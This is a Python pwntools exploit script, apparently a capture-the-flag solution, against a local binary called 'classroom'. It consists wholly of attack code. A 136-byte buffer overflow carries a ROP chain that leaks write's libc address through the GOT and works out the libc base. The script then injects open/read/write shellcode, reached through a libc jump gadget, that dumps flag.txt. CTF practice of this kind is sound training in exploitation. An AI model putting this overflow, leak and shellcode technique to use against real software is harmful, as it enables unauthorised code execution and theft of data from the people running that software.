#!/usr/bin/python3

from pwn import *

context.binary = target = ELF("./classroom", checksec=False)
libc = target.libc
r = process()

# funcs
s = lambda a: r.sendafter(b"> ", a)
ss = lambda a: r.send(a)

# gadgets
pop_rdi = lambda a: p64(0x400c43) + p64(a)
pop_rsi = lambda a: p64(0x400c41) + p64(a) + p64(0)

# loop
s(b"a")
for i in range(4):
	s(b"y")
	s(b"a")
s(b"y")

# leak
buf = b"A"*136
buf += pop_rdi(1)
buf += pop_rsi(target.got.write)
buf += p64(target.sym.write)
buf += pop_rdi(0)
buf += pop_rsi(0x60203c)
buf += p64(target.sym.read)
buf += p64(target.sym.kinder)
s(buf)
write = u64(r.recv(6).ljust(8, b"\x00"))
log.info("write: %#x", write)
libc.address = write - libc.sym.write
log.info("libc: %#x", libc.address)

# gadgets
jmp_rsi = libc.address + 0x3acf4

# shellcode
sc = """
lea rdi, [rsp-87]
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
mov rdi, rax
mov rsi, 0x602500
mov dl, 0xff
mov rax, 0
syscall
mov rdi, 1
mov rax, 1
syscall
"""
sc = asm(sc) + b"flag.txt\0"
sc += b"A"*(136-len(sc))
sc += p64(jmp_rsi)
ss(p64(4))
s(b"a")
s(sc)

r.interactive()